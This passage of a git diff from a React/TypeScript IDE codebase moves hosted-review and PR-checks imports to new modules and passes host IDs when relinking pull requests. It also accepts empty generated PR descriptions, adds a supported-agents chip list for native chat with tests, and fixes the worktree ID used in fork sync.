index 4c03a998d79..5693de11724 100644
--- a/src/renderer/src/components/right-sidebar/FolderWorkspacePrChecksPanel.tsx
+++ b/src/renderer/src/components/right-sidebar/FolderWorkspacePrChecksPanel.tsx
@@ -8,7 +8,7 @@ import { translate } from '@/i18n/i18n'
 import type { PRCheckDetail, PRCheckRunDetails } from '../../../../shared/github/check-types'
 import { getAttachedWorktreesForFolderWorkspace } from './folder-workspace-attached-worktrees'
 import { FolderWorkspacePrChecksRow } from './FolderWorkspacePrChecksRow'
-import type { ParentPrChecksRefreshOutcome, ParentPrChecksRow } from './parent-pr-checks-rows'
+import type { ParentPrChecksRefreshOutcome, ParentPrChecksRow } from './parent-pr-checks-row-types'
 import {
   getParentPrChecksRefreshCandidates,
   runLimitedParentPrChecksRefreshes
diff --git a/src/renderer/src/components/right-sidebar/FolderWorkspacePrChecksRow.test.tsx b/src/renderer/src/components/right-sidebar/FolderWorkspacePrChecksRow.test.tsx
index 58dc1398984..36bb9d7527d 100644
--- a/src/renderer/src/components/right-sidebar/FolderWorkspacePrChecksRow.test.tsx
+++ b/src/renderer/src/components/right-sidebar/FolderWorkspacePrChecksRow.test.tsx
@@ -6,7 +6,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import type { CheckStatus } from '../../../../shared/github/pull-request-types'
 import type { Repo } from '../../../../shared/repo-types'
 import type { Worktree } from '../../../../shared/worktree/types'
-import type { ParentPrChecksRow, ParentPrChecksRowStatus } from './parent-pr-checks-rows'
+import type { ParentPrChecksRow, ParentPrChecksRowStatus } from './parent-pr-checks-row-types'
 
 vi.mock('@/i18n/i18n', () => ({
   translate: (_key: string, fallback: string, values?: Record<string, unknown>) =>
diff --git a/src/renderer/src/components/right-sidebar/FolderWorkspacePrChecksRow.tsx b/src/renderer/src/components/right-sidebar/FolderWorkspacePrChecksRow.tsx
index ba9c3c6a174..a0f77223186 100644
--- a/src/renderer/src/components/right-sidebar/FolderWorkspacePrChecksRow.tsx
+++ b/src/renderer/src/components/right-sidebar/FolderWorkspacePrChecksRow.tsx
@@ -11,7 +11,7 @@ import {
   PullRequestIcon
 } from './checks-panel/check-presentation'
 import { ChecksList } from './checks-panel/checks-list'
-import type { ParentPrChecksRow } from './parent-pr-checks-rows'
+import type { ParentPrChecksRow } from './parent-pr-checks-row-types'
 
 type FolderWorkspacePrChecksRowProps = {
   row: ParentPrChecksRow
diff --git a/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-check-and-review-actions.tsx b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-check-and-review-actions.tsx
index d4e2b96c1d8..1a7a34fa0fc 100644
--- a/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-check-and-review-actions.tsx
+++ b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-check-and-review-actions.tsx
@@ -1,6 +1,6 @@
 import React, { useCallback } from 'react'
 import { toast } from 'sonner'
-import { refreshHostedReviewCard } from '@/store/slices/hosted-review'
+import { refreshHostedReviewCard } from '@/store/slices/hosted-review-card-refresh'
 import { checksPanelAsyncResultKey } from '../checks-panel-async-result-key'
 import {
   buildFixBrokenChecksPrompt,
@@ -349,11 +349,20 @@ export function useChecksPanelCheckAndReviewActions(model: ChecksPanelCheckAndRe
   )
 
   const handleUnlinkPullRequest = useCallback(() => {
-    if (!activeWorktreeId || activeReview?.provider !== 'github' || linkedPR === null) {
+    if (
+      !activeWorktreeId ||
+      !activeWorktree ||
+      activeReview?.provider !== 'github' ||
+      linkedPR === null
+    ) {
       return
     }
-    void updateWorktreeMeta(activeWorktreeId, { linkedPR: null })
-  }, [activeReview?.provider, activeWorktreeId, linkedPR, updateWorktreeMeta])
+    void updateWorktreeMeta(
+      activeWorktreeId,
+      { linkedPR: null },
+      { executionHostId: activeWorktree.hostId }
+    )
+  }, [activeReview?.provider, activeWorktree, activeWorktreeId, linkedPR, updateWorktreeMeta])
 
   const handleLinkAnotherPullRequest = useCallback(() => {
     if (!activeWorktreeId || !activeWorktree || activeReview?.provider !== 'github') {
@@ -364,6 +373,7 @@ export function useChecksPanelCheckAndReviewActions(model: ChecksPanelCheckAndRe
       // Why: the same workspace ID can exist under two hosts. Naming the owner
       // keeps the dialog on this workspace instead of the ambiguous lookup.
       repoId: activeWorktree.repoId,
+      executionHostId: activeWorktree.hostId,
       currentDisplayName: activeWorktree.displayName,
       currentIssue: activeWorktree.linkedIssue,
       currentPR: activeWorktree.linkedPR ?? activeReview.number,
diff --git a/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-context-state.tsx b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-context-state.tsx
index 451ba042d7e..8c0a40931e6 100644
--- a/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-context-state.tsx
+++ b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-context-state.tsx
@@ -2,7 +2,7 @@ import { useCallback, useEffect, useState } from 'react'
 import { useAppStore } from '@/store'
 import { isFolderRepo } from '../../../../../shared/repo-kind'
 import { getGitHubPRCacheKey } from '@/store/slices/github-cache-key'
-import { getHostedReviewCacheKey } from '@/store/slices/hosted-review'
+import { getHostedReviewCacheKey } from '@/store/slices/hosted-review-cache-identity'
 import { selectReviewCacheEntry } from '../review-cache-entry-selection'
 import { selectChecksPanelReview, type ChecksPanelReview } from '../checks-panel-review'
 import { isGitLabChecksPanelReview } from './gitlab-review-client'
diff --git a/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-create-review.tsx b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-create-review.tsx
index 8e34f253633..2ccb1188de7 100644
--- a/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-create-review.tsx
+++ b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-create-review.tsx
@@ -1,6 +1,6 @@
 import { useCallback } from 'react'
 import { toast } from 'sonner'
-import { refreshHostedReviewCard } from '@/store/slices/hosted-review'
+import { refreshHostedReviewCard } from '@/store/slices/hosted-review-card-refresh'
 import { openHttpLink } from '@/lib/http-link-routing'
 import { resolveCreatedHostedReviewLink } from '../source-control-created-review-link'
 import { formatCreateError } from '../create-pull-request-review-copy'
diff --git a/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-entry-refresh-and-title-actions.tsx b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-entry-refresh-and-title-actions.tsx
index efbc59e7a3b..f841968a182 100644
--- a/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-entry-refresh-and-title-actions.tsx
+++ b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-entry-refresh-and-title-actions.tsx
@@ -1,6 +1,6 @@
 import React, { useCallback, useEffect, useRef } from 'react'
 import { ENTRY_REFRESH_GRACE_MS, shouldEntryRefresh } from '../checks-entry-refresh'
-import { refreshHostedReviewCard } from '@/store/slices/hosted-review'
+import { refreshHostedReviewCard } from '@/store/slices/hosted-review-card-refresh'
 import { toast } from 'sonner'
 
 import type { ChecksPanelContextState } from './use-checks-panel-context-state'
diff --git a/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-manual-refresh.test.tsx b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-manual-refresh.test.tsx
index 90b264b8fd9..959ea4468ec 100644
--- a/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-manual-refresh.test.tsx
+++ b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-manual-refresh.test.tsx
@@ -2,12 +2,12 @@
 
 import { act, cleanup, renderHook } from '@testing-library/react'
 import { afterEach, describe, expect, it, vi } from 'vitest'
-import type * as HostedReviewStore from '@/store/slices/hosted-review'
+import type * as HostedReviewCardRefresh from '@/store/slices/hosted-review-card-refresh'
 
 const refresh = vi.hoisted(() => ({ calls: [] as string[] }))
 
-vi.mock('@/store/slices/hosted-review', async (importOriginal) => {
-  const original = await importOriginal<typeof HostedReviewStore>()
+vi.mock('@/store/slices/hosted-review-card-refresh', async (importOriginal) => {
+  const original = await importOriginal<typeof HostedReviewCardRefresh>()
   return {
     ...original,
     refreshHostedReviewCard: vi.fn(async () => {
diff --git a/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-manual-refresh.tsx b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-manual-refresh.tsx
index 870c75e3a15..25ab151a19a 100644
--- a/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-manual-refresh.tsx
+++ b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-manual-refresh.tsx
@@ -1,7 +1,7 @@
 import { useCallback } from 'react'
 import { useAppStore } from '@/store'
 import { buildGitHubPRRefreshStateClearToken } from '@/store/github/pr-refresh-state'
-import { refreshHostedReviewCard } from '@/store/slices/hosted-review'
+import { refreshHostedReviewCard } from '@/store/slices/hosted-review-card-refresh'
 import { getRuntimeGitStatus, getRuntimeGitUpstreamStatus } from '@/runtime/runtime-git-client'
 import {
   hasChecksPanelGitStatusBranchChanged,
diff --git a/src/renderer/src/components/right-sidebar/folder-workspace-attached-worktrees.ts b/src/renderer/src/components/right-sidebar/folder-workspace-attached-worktrees.ts
index 577f21aa1f1..af18138b09d 100644
--- a/src/renderer/src/components/right-sidebar/folder-workspace-attached-worktrees.ts
+++ b/src/renderer/src/components/right-sidebar/folder-workspace-attached-worktrees.ts
@@ -131,7 +131,8 @@ function getWorktreeById(
   )
 }
 
-function getLineageChildWorktree(
+/** Exported so the composer's parent picker offers exactly the roots this view attaches. */
+export function getLineageChildWorktree(
   lineage: WorkspaceLineage,
   worktreeById: Map<string, Worktree>
 ): Worktree | null {
diff --git a/src/renderer/src/components/right-sidebar/parent-pr-checks-projection-selector.test.ts b/src/renderer/src/components/right-sidebar/parent-pr-checks-projection-selector.test.ts
index 025817b1160..0616bb510e9 100644
--- a/src/renderer/src/components/right-sidebar/parent-pr-checks-projection-selector.test.ts
+++ b/src/renderer/src/components/right-sidebar/parent-pr-checks-projection-selector.test.ts
@@ -2,7 +2,7 @@ import { describe, expect, it, vi } from 'vitest'
 import type { HostedReviewInfo } from '../../../../shared/hosted-review'
 import type { Repo } from '../../../../shared/repo-types'
 import type { Worktree } from '../../../../shared/worktree/types'
-import { getHostedReviewCacheKey } from '@/store/slices/hosted-review'
+import { getHostedReviewCacheKey } from '@/store/slices/hosted-review-cache-identity'
 import { buildParentPrChecksProjection } from './parent-pr-checks-rows'
 import { createParentPrChecksProjectionSelector } from './parent-pr-checks-projection-selector'
 
diff --git a/src/renderer/src/components/right-sidebar/parent-pr-checks-refresh.ts b/src/renderer/src/components/right-sidebar/parent-pr-checks-refresh.ts
index edde3fcd750..c385d03b5bc 100644
--- a/src/renderer/src/components/right-sidebar/parent-pr-checks-refresh.ts
+++ b/src/renderer/src/components/right-sidebar/parent-pr-checks-refresh.ts
@@ -6,10 +6,8 @@ import type { HostedReviewInfo } from '../../../../shared/hosted-review'
 import { isFolderRepo } from '../../../../shared/repo-kind'
 import { getWorktreeGitIdentityDisplay } from '@/lib/worktree-git-identity-display'
 import { compareWorktreeDisplayName } from '@/lib/worktree-display-name-order'
-import {
-  getParentPrChecksRefreshIdentity,
-  type ParentPrChecksRefreshOutcome
-} from './parent-pr-checks-rows'
+import { getParentPrChecksRefreshIdentity } from './parent-pr-checks-rows'
+import type { ParentPrChecksRefreshOutcome } from './parent-pr-checks-row-types'
 
 type FetchHostedReview = (
   repoPath: string,
diff --git a/src/renderer/src/components/right-sidebar/parent-pr-checks-rows.test.ts b/src/renderer/src/components/right-sidebar/parent-pr-checks-rows.test.ts
index f44e7dca663..256eaf584a9 100644
--- a/src/renderer/src/components/right-sidebar/parent-pr-checks-rows.test.ts
+++ b/src/renderer/src/components/right-sidebar/parent-pr-checks-rows.test.ts
@@ -4,7 +4,7 @@ import type { PRInfo } from '../../../../shared/github/pull-request-types'
 import type { Repo } from '../../../../shared/repo-types'
 import type { Worktree } from '../../../../shared/worktree/types'
 import type { HostedReviewInfo } from '../../../../shared/hosted-review'
-import { getHostedReviewCacheKey } from '@/store/slices/hosted-review'
+import { getHostedReviewCacheKey } from '@/store/slices/hosted-review-cache-identity'
 import {
   getGitHubPRCacheKey,
   getGitHubRepoCacheKey,
@@ -13,9 +13,9 @@ import {
 import { prChecksCacheSuffix } from '@/store/github/cache-identity'
 import {
   buildParentPrChecksProjection,
-  getParentPrChecksRefreshIdentity,
-  type ParentPrChecksRefreshOutcome
+  getParentPrChecksRefreshIdentity
 } from './parent-pr-checks-rows'
+import type { ParentPrChecksRefreshOutcome } from './parent-pr-checks-row-types'
 
 const settings = null as never
 
diff --git a/src/renderer/src/components/right-sidebar/parent-pr-checks-rows.ts b/src/renderer/src/components/right-sidebar/parent-pr-checks-rows.ts
index d3c2480514e..72bec30b52c 100644
--- a/src/renderer/src/components/right-sidebar/parent-pr-checks-rows.ts
+++ b/src/renderer/src/components/right-sidebar/parent-pr-checks-rows.ts
@@ -7,7 +7,10 @@ import { isFolderRepo } from '../../../../shared/repo-kind'
 import { getWorktreeCardPrDisplay } from '@/components/sidebar/worktree-card-pr-display'
 import { getWorktreeGitIdentityDisplay } from '@/lib/worktree-git-identity-display'
 import { getGitHubRepoCacheKey } from '@/store/slices/github-cache-key'
-import { getHostedReviewCacheKey, linkedReviewHintKey } from '@/store/slices/hosted-review'
+import {
+  getHostedReviewCacheKey,
+  linkedReviewHintKey
+} from '@/store/slices/hosted-review-cache-identity'
 import { prChecksCacheSuffix } from '@/store/github/cache-identity'
 import {
   PARENT_PR_CHECKS_GROUP_LABELS,
@@ -33,15 +36,6 @@ import { canUseParentPrChecksHostedReviewCacheEntry } from './parent-pr-checks-h
 
 type ParentPrChecksRowSourceArgs = Omit<BuildParentPrChecksRowsArgs, 'repos'>
 
-export type {
-  ParentPrChecksGroupKey,
-  ParentPrChecksProjection,
-  ParentPrChecksRefreshOutcome,
-  ParentPrChecksRow,
-  ParentPrChecksRowStatus,
-  ParentPrChecksSummary
-} from './parent-pr-checks-row-types'
-
 export function buildParentPrChecksProjection(
   args: BuildParentPrChecksRowsArgs
 ): ParentPrChecksProjection {
diff --git a/src/renderer/src/components/right-sidebar/source-control-create-pr-intent-flow.test.ts b/src/renderer/src/components/right-sidebar/source-control-create-pr-intent-flow.test.ts
index 3072fd76642..f89236426cb 100644
--- a/src/renderer/src/components/right-sidebar/source-control-create-pr-intent-flow.test.ts
+++ b/src/renderer/src/components/right-sidebar/source-control-create-pr-intent-flow.test.ts
@@ -342,12 +342,6 @@ describe('source-control Create PR intent flow helpers', () => {
         error: 'Agent timed out.'
       })
     ).toEqual({ ok: false, error: 'Agent timed out.' })
-    expect(
-      resolveCreatePrIntentGeneratedReviewFields(current, {
-        success: true,
-        fields: { ...current, title: 'Generated title', body: '   ' }
-      })
-    ).toEqual({ ok: false, error: null })
     expect(
       resolveCreatePrIntentGeneratedReviewFields(current, {
         success: true,
@@ -369,6 +363,33 @@ describe('source-control Create PR intent flow helpers', () => {
     })
   })
 
+  it('accepts generated review fields with an empty description', () => {
+    expect(
+      resolveCreatePrIntentGeneratedReviewFields(
+        { base: 'main', title: 'Feature branch', body: '', draft: false },
+        {
+          success: true,
+          fields: { base: 'main', title: 'chore: add new app config', body: '', draft: false }
+        }
+      )
+    ).toEqual({
+      ok: true,
+      fields: { base: 'main', title: 'chore: add new app config', body: '', draft: false }
+    })
+  })
+
+  it('falls back to the current title when the generated title is blank and the body is empty', () => {
+    expect(
+      resolveCreatePrIntentGeneratedReviewFields(
+        { base: 'main', title: 'Feature branch', body: '', draft: false },
+        { success: true, fields: { base: 'main', title: '  ', body: '   ', draft: true } }
+      )
+    ).toEqual({
+      ok: true,
+      fields: { base: 'main', title: 'Feature branch', body: '   ', draft: true }
+    })
+  })
+
   it('surfaces the commit failure summary in the Create PR intent notice', () => {
     expect(
       getCreatePrIntentCommitFailureNoticeMessage(
diff --git a/src/renderer/src/components/right-sidebar/source-control/listing/use-worktree-context.ts b/src/renderer/src/components/right-sidebar/source-control/listing/use-worktree-context.ts
index befca9f4cb9..94fc5879f85 100644
--- a/src/renderer/src/components/right-sidebar/source-control/listing/use-worktree-context.ts
+++ b/src/renderer/src/components/right-sidebar/source-control/listing/use-worktree-context.ts
@@ -7,7 +7,7 @@ import { getWorktreeGitIdentityDisplay } from '@/lib/worktree-git-identity-displ
 import { useAppStore } from '@/store'
 import { useActiveWorktree, useRepoById, useWorktreeMap } from '@/store/selectors'
 import { getGitHubPRCacheKey } from '@/store/slices/github-cache-key'
-import { getHostedReviewCacheKey } from '@/store/slices/hosted-review'
+import { getHostedReviewCacheKey } from '@/store/slices/hosted-review-cache-identity'
 import type { GitBranchChangeEntry } from '../../../../../../shared/git-diff-compare-types'
 import type { GitStatusEntry } from '../../../../../../shared/git-status-types'
 import { isFolderRepo } from '../../../../../../shared/repo-kind'
diff --git a/src/renderer/src/components/right-sidebar/source-control/review/create-pr-intent-flow.ts b/src/renderer/src/components/right-sidebar/source-control/review/create-pr-intent-flow.ts
index 669f7b3142a..d72d6dcc86e 100644
--- a/src/renderer/src/components/right-sidebar/source-control/review/create-pr-intent-flow.ts
+++ b/src/renderer/src/components/right-sidebar/source-control/review/create-pr-intent-flow.ts
@@ -53,7 +53,7 @@ type CreatePrIntentReviewGeneration =
 
 export type CreatePrIntentGeneratedReviewFields =
   | { ok: true; fields: CreatePrIntentReviewFields }
-  | { ok: false; error: string | null }
+  | { ok: false; error: string }
 
 export function createCreatePrIntentRunToken(input: Omit<CreatePrIntentRunToken, 'startedAt'>) {
   return { ...input, startedAt: Date.now() }
@@ -208,15 +208,13 @@ export function resolveCreatePrIntentGeneratedReviewFields(
   if (!generated.success) {
     return { ok: false, error: generated.error }
   }
-  if (!generated.fields.body.trim()) {
-    return { ok: false, error: null }
-  }
   return {
     ok: true,
     fields: {
       // Why: intent auto-submits, so generated details must not retarget the review without confirmation.
       base: current.base,
       title: generated.fields.title.trim() || current.title,
+      // Why: a description is optional everywhere else (composer, GitHub/GitLab), so an intentionally empty generated body is a valid result, not a failure.
       body: generated.fields.body,
       draft: generated.fields.draft
     }
diff --git a/src/renderer/src/components/right-sidebar/source-control/review/use-create-pr-intent-review.ts b/src/renderer/src/components/right-sidebar/source-control/review/use-create-pr-intent-review.ts
index e6b9b2f6b38..373148e4fc2 100644
--- a/src/renderer/src/components/right-sidebar/source-control/review/use-create-pr-intent-review.ts
+++ b/src/renderer/src/components/right-sidebar/source-control/review/use-create-pr-intent-review.ts
@@ -132,12 +132,7 @@ export function useSourceControlCreatePrIntentReview({
           if (!resolved.ok) {
             setCreatePrIntentNoticeForWorktree(token.worktreeId, {
               tone: 'destructive',
-              message:
-                resolved.error ??
-                translate(
-                  'auto.components.right.sidebar.SourceControl.createPrIntentEmptyGeneratedBody',
-                  'Generated review details did not include a description. Retry Create PR.'
-                )
+              message: resolved.error
             })
             return false
           }
diff --git a/src/renderer/src/components/settings/MobileSettingsPane.tsx b/src/renderer/src/components/settings/MobileSettingsPane.tsx
index c0d96372edf..2e98a5ccb43 100644
--- a/src/renderer/src/components/settings/MobileSettingsPane.tsx
+++ b/src/renderer/src/components/settings/MobileSettingsPane.tsx
@@ -13,7 +13,7 @@ export { getMobileSettingsPaneSearchEntries }
 
 const ORCA_IOS_APP_STORE_URL = 'https://apps.apple.com/app/orca-ide/id6766130217'
 const ORCA_ANDROID_APK_URL =
-  'https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.44/app-release.apk'
+  'https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.46/app-release.apk'
 
 export function MobileSettingsPane(): React.JSX.Element {
   const showMobileButton = useAppStore((s) => s.settings?.showMobileButton !== false)
diff --git a/src/renderer/src/components/settings/NativeChatExperimentalSetting.tsx b/src/renderer/src/components/settings/NativeChatExperimentalSetting.tsx
index d7ea704c553..6dac8022c8d 100644
--- a/src/renderer/src/components/settings/NativeChatExperimentalSetting.tsx
+++ b/src/renderer/src/components/settings/NativeChatExperimentalSetting.tsx
@@ -2,6 +2,7 @@ import type { GlobalSettings } from '../../../../shared/global-settings-types'
 import { translate } from '@/i18n/i18n'
 import { Label } from '../ui/label'
 import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '../ui/select'
+import { NativeChatSupportedAgents } from './NativeChatSupportedAgents'
 import { SearchableSetting } from './SearchableSetting'
 import { SettingsSwitch } from './SettingsFormControls'
 import { getExperimentalSearchEntry } from './experimental-search'
@@ -43,6 +44,7 @@ export function NativeChatExperimentalSetting({
               'Adds a Chat UI view you can switch to from supported agent terminal panes. Experimental while we tune transcript fidelity, streaming, and terminal parity.'
             )}
           </p>
+          <NativeChatSupportedAgents />
         </div>
         <SettingsSwitch
           checked={nativeChatEnabled}
diff --git a/src/renderer/src/components/settings/NativeChatSupportedAgents.test.tsx b/src/renderer/src/components/settings/NativeChatSupportedAgents.test.tsx
new file mode 100644
index 00000000000..17e05dfb18e
--- /dev/null
+++ b/src/renderer/src/components/settings/NativeChatSupportedAgents.test.tsx
@@ -0,0 +1,85 @@
+// @vitest-environment happy-dom
+
+import { renderToStaticMarkup } from 'react-dom/server'
+import { afterEach, describe, expect, it } from 'vitest'
+import {
+  isNativeChatSupportedAgent,
+  NATIVE_CHAT_SUPPORTED_AGENT_LIST
+} from '../../../../shared/native-chat-agent-support'
+import type { TuiAgent } from '../../../../shared/tui-agent'
+import { i18n } from '@/i18n/i18n'
+import { getAgentCatalog } from '@/lib/agent-catalog'
+import { NativeChatSupportedAgents } from './NativeChatSupportedAgents'
+
+const EXPECTED_SUPPORTED_AGENTS = [
+  'claude',
+  'openclaude',
+  'codex',
+  'grok',
+  'omp'
+] as const satisfies readonly TuiAgent[]
+const SUPPORTED_AGENTS_LABEL_KEY = 'auto.components.settings.NativeChatSupportedAgents.label'
+
+function getRenderedChips(): { agent: string; label: string; role: string }[] {
+  const markup = renderToStaticMarkup(<NativeChatSupportedAgents />)
+  const container = document.createElement('div')
+  container.innerHTML = markup
+  return Array.from(container.querySelectorAll('[data-agent]')).map((node) => ({
+    agent: node.getAttribute('data-agent') ?? '',
+    label: node.getAttribute('aria-label') ?? '',
+    role: node.getAttribute('role') ?? ''
+  }))
+}
+
+describe('NativeChatSupportedAgents', () => {
+  afterEach(async () => {
+    await i18n.changeLanguage('en')
+  })
+
+  it('keeps the advertised list and support predicate on the independent contract', () => {
+    expect(NATIVE_CHAT_SUPPORTED_AGENT_LIST).toEqual(EXPECTED_SUPPORTED_AGENTS)
+    for (const entry of getAgentCatalog()) {
+      expect(isNativeChatSupportedAgent(entry.id), entry.id).toBe(
+        EXPECTED_SUPPORTED_AGENTS.includes(entry.id as (typeof EXPECTED_SUPPORTED_AGENTS)[number])
+      )
+    }
+  })
+
+  it('renders exactly one chip for each supported agent', () => {
+    expect(getRenderedChips().map((chip) => chip.agent)).toEqual(EXPECTED_SUPPORTED_AGENTS)
+  })
+
+  it('gives each icon an accessible catalog agent name', () => {
+    for (const chip of getRenderedChips()) {
+      const entry = getAgentCatalog().find((candidate) => candidate.id === chip.agent)
+      expect(chip.label).toBe(entry?.label)
+      expect(chip.role).toBe('img')
+    }
+  })
+
+  it('omits agents native chat cannot render, including OpenCode', () => {
+    const rendered = getRenderedChips().map((chip) => chip.agent)
+
+    for (const entry of getAgentCatalog()) {
+      if (!isNativeChatSupportedAgent(entry.id)) {
+        expect(rendered).not.toContain(entry.id)
+      }
+    }
+    expect(rendered).not.toContain('opencode')
+  })
+
+  it('keeps the label in the English catalog', () => {
+    expect(i18n.getResource('en', 'translation', SUPPORTED_AGENTS_LABEL_KEY)).toBe(
+      'Supported agents:'
+    )
+  })
+
+  it('renders the English fallback when the active locale lacks the label key', async () => {
+    await i18n.changeLanguage('es')
+    expect(i18n.getResource('es', 'translation', SUPPORTED_AGENTS_LABEL_KEY)).toBeUndefined()
+
+    const markup = renderToStaticMarkup(<NativeChatSupportedAgents />)
+
+    expect(markup).toContain('Supported agents:')
+  })
+})
diff --git a/src/renderer/src/components/settings/NativeChatSupportedAgents.tsx b/src/renderer/src/components/settings/NativeChatSupportedAgents.tsx
new file mode 100644
index 00000000000..52001a573ca
--- /dev/null
+++ b/src/renderer/src/components/settings/NativeChatSupportedAgents.tsx
@@ -0,0 +1,35 @@
+import { NATIVE_CHAT_SUPPORTED_AGENT_LIST } from '../../../../shared/native-chat-agent-support'
+import { AgentIcon, getAgentLabel } from '@/lib/agent-catalog'
+import { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from '@/components/ui/tooltip'
+import { translate } from '@/i18n/i18n'
+
+/** Names the agents so unsupported-agent terminal fallback does not look broken. */
+export function NativeChatSupportedAgents(): React.JSX.Element {
+  return (
+    <TooltipProvider delayDuration={250}>
+      <div className="flex flex-wrap items-center gap-1.5 pt-1 text-xs text-muted-foreground">
+        <span>
+          {translate(
+            'auto.components.settings.NativeChatSupportedAgents.label',
+            'Supported agents:'
+          )}
+        </span>
+        {NATIVE_CHAT_SUPPORTED_AGENT_LIST.map((agent) => {
+          const label = getAgentLabel(agent)
+          return (
+            <Tooltip key={agent}>
+              <TooltipTrigger asChild>
+                <span data-agent={agent} role="img" aria-label={label}>
+                  <AgentIcon agent={agent} size={13} />
+                </span>
+              </TooltipTrigger>
+              <TooltipContent side="top" sideOffset={6}>
+                {label}
+              </TooltipContent>
+            </Tooltip>
+          )
+        })}
+      </div>
+    </TooltipProvider>
+  )
+}
diff --git a/src/renderer/src/components/settings/RepositoryForkSyncSection.test.tsx b/src/renderer/src/components/settings/RepositoryForkSyncSection.test.tsx
new file mode 100644
index 00000000000..53545eaf740
--- /dev/null
+++ b/src/renderer/src/components/settings/RepositoryForkSyncSection.test.tsx
@@ -0,0 +1,54 @@
+// @vitest-environment happy-dom
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import type { Repo } from '../../../../shared/repo-types'
+import { RepositoryForkSyncSection } from './RepositoryForkSyncSection'
+
+const syncRuntimeGitForkDefaultBranch = vi.fn()
+
+vi.mock('../../runtime/runtime-git-client', () => ({
+  syncRuntimeGitForkDefaultBranch: (...args: unknown[]) => syncRuntimeGitForkDefaultBranch(...args)
+}))
+
+vi.mock('../../store', () => ({
+  useAppStore: (selector: (state: Record<string, unknown>) => unknown) =>
+    selector({ settingsSearchQuery: '', settings: { activeRuntimeEnvironmentId: 'env-1' } })
+}))
+
+vi.mock('sonner', () => ({
+  toast: Object.assign(vi.fn(), { message: vi.fn(), success: vi.fn(), error: vi.fn() })
+}))
+
+const RUNTIME_REPO: Repo = {
+  id: 'repo-1',
+  path: '/srv/repo-1',
+  displayName: 'repo-1',
+  badgeColor: '#000000',
+  addedAt: 0,
+  kind: 'git',
+  executionHostId: 'runtime:env-1',
+  forkSyncMode: 'ask',
+  upstream: { owner: 'up', repo: 'r' }
+}
+
+describe('RepositoryForkSyncSection', () => {
+  afterEach(() => {
+    cleanup()
+    syncRuntimeGitForkDefaultBranch.mockReset()
+  })
+
+  it('syncs a runtime-hosted repo by its main worktree id, not the bare repo id', () => {
+    // Why: the runtime rejects `id:<repo-id>` with worktree_id_requires_full_path (#16447).
+    syncRuntimeGitForkDefaultBranch.mockResolvedValue({ status: 'up-to-date', behind: 0 })
+    render(
+      <RepositoryForkSyncSection repo={RUNTIME_REPO} updateRepo={vi.fn()} forceVisible={true} />
+    )
+
+    fireEvent.click(screen.getByRole('button', { name: /sync now/i }))
+
+    expect(syncRuntimeGitForkDefaultBranch).toHaveBeenCalledWith(
+      expect.objectContaining({ worktreeId: 'repo-1::/srv/repo-1', worktreePath: '/srv/repo-1' }),
+      { owner: 'up', repo: 'r' }
+    )
+  })
+})
diff --git a/src/renderer/src/components/settings/RepositoryForkSyncSection.tsx b/src/renderer/src/components/settings/RepositoryForkSyncSection.tsx
index 3a399f16e38..a541a82dd24 100644
--- a/src/renderer/src/components/settings/RepositoryForkSyncSection.tsx
+++ b/src/renderer/src/components/settings/RepositoryForkSyncSection.tsx
@@ -3,6 +3,7 @@ import { RefreshCw } from 'lucide-react'
 import { toast } from 'sonner'
 import type { ForkSyncMode, GitForkSyncResult } from '../../../../shared/git-fork-sync'
 import type { Repo } from '../../../../shared/repo-types'
+import { getRepoMainWorktreeId } from '../../../../shared/worktree/id'
 import { Button } from '../ui/button'
 import { SearchableSetting } from './SearchableSetting'
 import { SettingsSegmentedControl } from './SettingsFormControls'
@@ -128,7 +129,7 @@ export function RepositoryForkSyncSection({
       const result = await syncRuntimeGitForkDefaultBranch(
         {
           settings: getRepoOwnerRoutedSettings(settings, repo),
-          worktreeId: repo.id,
+          worktreeId: getRepoMainWorktreeId(repo),
           worktreePath: repo.path,
           connectionId: repo.connectionId ?? undefined
         },
diff --git a/src/renderer/src/components/settings/native-chat-experimental-search-entry.test.ts b/src/renderer/src/components/settings/native-chat-experimental-search-entry.test.ts
new file mode 100644
index 00000000000..502c407056a
--- /dev/null
+++ b/src/renderer/src/components/settings/native-chat-experimental-search-entry.test.ts
@@ -0,0 +1,9 @@
+import { describe, expect, it } from 'vitest'
+import { getNativeChatExperimentalSearchEntry } from './native-chat-experimental-search-entry'
+import { matchesSettingsSearch } from './settings-search'
+
+describe('native chat experimental search entry', () => {
+  it.each(['openclaude', 'omp'])('matches the supported-agent keyword %s', (query) => {
+    expect(matchesSettingsSearch(query, getNativeChatExperimentalSearchEntry())).toBe(true)
+  })
+})
diff --git a/src/renderer/src/components/settings/native-chat-experimental-search-entry.ts b/src/renderer/src/components/settings/native-chat-experimental-search-entry.ts
index 75026ea6ce1..87427d81e8a 100644
--- a/src/renderer/src/components/settings/native-chat-experimental-search-entry.ts
+++ b/src/renderer/src/components/settings/native-chat-experimental-search-entry.ts
